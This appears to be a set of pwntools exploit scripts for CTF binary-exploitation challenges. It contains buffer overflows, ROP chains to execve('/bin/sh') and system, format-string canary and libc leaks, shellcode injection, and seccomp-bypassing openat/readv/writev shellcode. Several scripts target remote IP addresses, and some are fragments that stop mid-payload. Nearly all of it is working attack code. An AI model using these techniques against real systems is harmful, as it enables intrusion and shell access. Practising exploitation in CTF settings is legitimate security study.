#!/usr/bin/env python3
from pwn import *
#8.147.132.32 27654
p = remote("8.147.132.32",27654)
context(os='linux',arch='amd64',log_level='debug')
print(p.recvuntil(b"Enter your input:").decode())


BACKDOOR_ADDR = 0x401200
padding = b"A" * 264
ret = p64(0x401342)
sys_address = p64(BACKDOOR_ADDR)  # 使用p64處理64位地址
    
payload = padding + ret + sys_address 

p.sendline(payload)
p.interactive()

#!/usr/bin/env python3
from pwn import *
# nc 47.94.87.199 37002

context(os='linux',arch='amd64',log_level='debug')

    p = remote('47.94.87.199',37002)
    shellcode = asm(shellcraft.sh())
    p.recvuntil(b"please input a function(after compile)")
    p.sendline(shellcode)
    p.interactive()

from pwn import *
import time
# nc 8.147.134.121 20502
p=process("./syscall")
elf=ELF("./syscall")
#p = remote('8.147.134.121',20502)
gdb.attach(p)
context(os='linux',arch='i386',log_level='debug')

p.recvuntil(b'pwn it guys!\n')


bss_addr = elf.bss() + 0x100  # 避免冲突
read_addr = 0x3
execve = 0xb 
pop_eax = 0x080b438a
pop_ebx = 0x08049022
pop_ecx = 0x0804985a
pop_edx = 0x0804985c
int_0x80 = 0x08073A00
ret = 0x0804900e


payload = b'A'*(0x12+4)  #_BYTE v1[14]; // [esp+6h] [ebp-12h] BYREF  0x12+4
payload += p32(ret) 
payload += p32(pop_eax)
payload += p32(read_addr)
payload += p32(pop_ebx)    # read函数返回后的地址
payload += p32(0) 
payload += p32(pop_ecx)         # fd = 0 (stdin)
payload += p32(bss_addr)   # buf地址
payload += p32(pop_edx)
payload += p32(8)          # 读取长度
payload += p32(int_0x80)

# 第二阶段：execve("/bin/sh", NULL, NULL)
payload += p32(pop_eax)
payload += p32(execve) # 系统调用号
payload += p32(pop_ebx)
payload += p32(bss_addr)   # "/bin/sh"字符串地址
payload += p32(pop_ecx)
payload += p32(0)          # argv = NULL
payload += p32(pop_edx)  
payload += p32(0)          # envp = NULL
payload += p32(int_0x80)   # 触发系统调用


p.sendline(payload)
time.sleep(0.1)
p.sendline(b'/bin/sh\x00')
#pause()

p.interactive()

from pwn import *

p = remote('8.147.132.32', 18505)
#nc 8.147.132.32 18505
#p = process('./noshell')
e = ELF('./noshell')
context(log_level = 'debug', arch = 'amd64', os = 'linux')

pop_rdi = 0x4013f3 
pop_rsi = 0x4013f5
pop_rdx = 0x4013f7
flag = 0x40206a
magic = 0x4013F9
ret = 0x40101a

payload = b'a'*(0x20+8) + p64(pop_rdi) +p64(flag) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(e.plt['open'])
payload += p64(magic) + p64(pop_rsi) + p64(e.bss(0x400)) + p64(pop_rdx) + p64(0x100) + p64(e.plt['read'])
payload += p64(pop_rdi) + p64(1) + p64(e.plt['write'])

p.recvuntil(b'Do you want to say something?\n')
p.sendline(b'y')
p.recvuntil(b'leave or capture the flag?\n')
p.sendline(b'2')
p.sendlineafter(b'your choice: ',b'2')
p.sendlineafter(b'your choice: ',b'1')
#gdb.attach(p)
p.sendline(payload)



p.interactive()

from pwn import *
#nc 47.94.87.199 39160
context(log_level = 'debug', arch = 'amd64', os = 'linux')
#p = remote('47.94.87.199',39160)     
p = process('./fmt_canary')
elf=ELF('./fmt_canary')
libc=ELF('./libc.so.6')

 

payload=b'aaaa%11$p.%13$p'
p.sendlineafter('说话!\n',payload)
p.recvuntil('aaaa')
canary=int(p.recvuntil(b'00').decode(),16)
p.recvuntil('.')
#libc的
libc = int(p.recvuntil(b'\n').decode(),16)
libc_base = libc - 0x2a1ca

pop_rdi = libc_base + 0x2a3e5
sh_addr = libc_base + 0x1d8678
system_addr = libc_base + 0x50D70

print(hex(canary))
print(hex(libc_base))

from pwn import *
# nc 39.106.48.123 28287
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = remote('39.106.48.123',28287)   
#libc = ELF('./libc.so.6')      

#p = process('./fmt_canary')
#elf=ELF('./fmt_canary')

#gdb.attach(p)
#pause()

p.recvuntil('我先放台复读机在这里!要是觉得厌倦了就输入end来结束吧\n')
payload1=b'aaaa%11$p.%33$p'
p.sendlineafter('说话!\n',payload1)
p.recvuntil('aaaa')
canary=int(p.recvuntil(b'00').decode(),16)
p.recvuntil('.')


#libc的
libc_a = int(p.recvuntil(b'\n').decode(),16)
libc_base = libc_a - 0x29E40


ret = 0x29139 + libc_base
pop_rdi = 0x2A3e5 + libc_base
binsh = 0x1D8678 + libc_base
system = 0x50D70 + libc_base


print(hex(canary))
print(hex(libc_a))



p.recvuntil('说话!\n')
p.sendline("end") 
p.recvuntil('QwQ:')
#p.sendline("end") 

payload2 = b'a'*(0x30-8) + p64(canary) + p64(0) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
p.sendline(payload2)
p.interactive()

int __fastcall main(int argc, const char **argv, const char **envp)
{
  void *buf; // [rsp+8h] [rbp-8h]

  init(argc, argv, envp);
  buf = mmap((void *)0x114514, 0x1000u, 7, 34, -1, 0);
  puts("please input a orw_plus function (also also after compile)");
  read(0, buf, 0x500u);
  install_seccomp();
  ((void (*)(void))buf)();
  return 0;
}

from pwn import *
# nc 39.106.57.152 39122
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = remote('39.106.57.152',39122)   

BUF_ADDR = 0x114514      # mmap 地址
IOVEC_ADDR = BUF_ADDR + 0x100 # iovec 結構地址
BUFFER_ADDR = BUF_ADDR + 0x200 # 文件內容緩衝區地址
FLAG_STR_ADDR = BUF_ADDR + 0x300 # "flag" 字串地址 (註：根據你的 ls 結果，文件是 'flag' 而非 'flag.txt')

# 修正組譯錯誤，移除行尾註釋和不必要的空格
shellcode = asm(f"""
    /* ------------------- 1. 設置 iovec 結構 ------------------- */
    mov rax, {BUFFER_ADDR}
    mov qword ptr [{IOVEC_ADDR}], rax
    mov qword ptr [{IOVEC_ADDR} + 8], 0x100

    /* ------------------- 2. openat("flag") ------------------- */
    /* 將 "flag" 字串寫入内存 (4 bytes, 故只需 mov dword) */
    mov rdi, {FLAG_STR_ADDR}
    mov rsi, 0x67616c66        # "flag"
    mov dword ptr [rdi], esi

    /* openat(AT_FDCWD, "flag", O_RDONLY, 0) */
    mov rax, 0x101             # __NR_openat = 257
    mov rdi, 0xFFFFFF9C        # AT_FDCWD (-100)
    mov rsi, {FLAG_STR_ADDR}   # "flag"
    xor rdx, rdx               # O_RDONLY
    syscall                    # RAX = fd

    /* ------------------- 3. readv(fd, &iov, 1) ------------------- */
    mov rdi, rax               # RDI = fd
    mov rax, 0x13              # __NR_readv = 19
    mov rsi, {IOVEC_ADDR}      # RSI = &iovec
    mov rdx, 0x1               # RDX = 1 (iovec count)
    syscall                    # 讀取內容

    /* ------------------- 4. writev(STDOUT, &iov, 1) ------------------- */
    mov rax, 0x14              # __NR_writev = 20
    mov rdi, 0x1               # RDI = STDOUT_FILENO (1)
    mov rsi, {IOVEC_ADDR}      # RSI = &iovec
    mov rdx, 0x1               # RDX = 1 (iovec count)
    syscall                    # 輸出內容

    /* ------------------- 5. exit(0) ------------------- */
    mov rax, 0x3c              # __NR_exit = 60
    xor rdi, rdi
    syscall
""")

p.sendline(shellcode)
p.interactive()

from pwn import *
p=process('./fmt_got')
elf= ELF('./fmt_got')
libc=ELF('./libc.so.6')

p.recvuntil('> ')
payload1=b'aaaa%39$p.%61$p'
p.sendline(payload1)
p.recvuntil('aaaa')
canary=int(p.recvuntil(b'00').decode(),16)
p.recvuntil('.')
libc_a = int(p.recvuntil(b'\n').decode(),16)
libc_base = libc_a - 0x29E40

print(hex(canary))
print(hex(libc_a))

read_flag_addr = elf.symbols['read_flag']
puts_got = elf.got['puts']

print(hex(read_flag_addr))
print(hex(puts_got))

payload2 = b'A'*(0x10)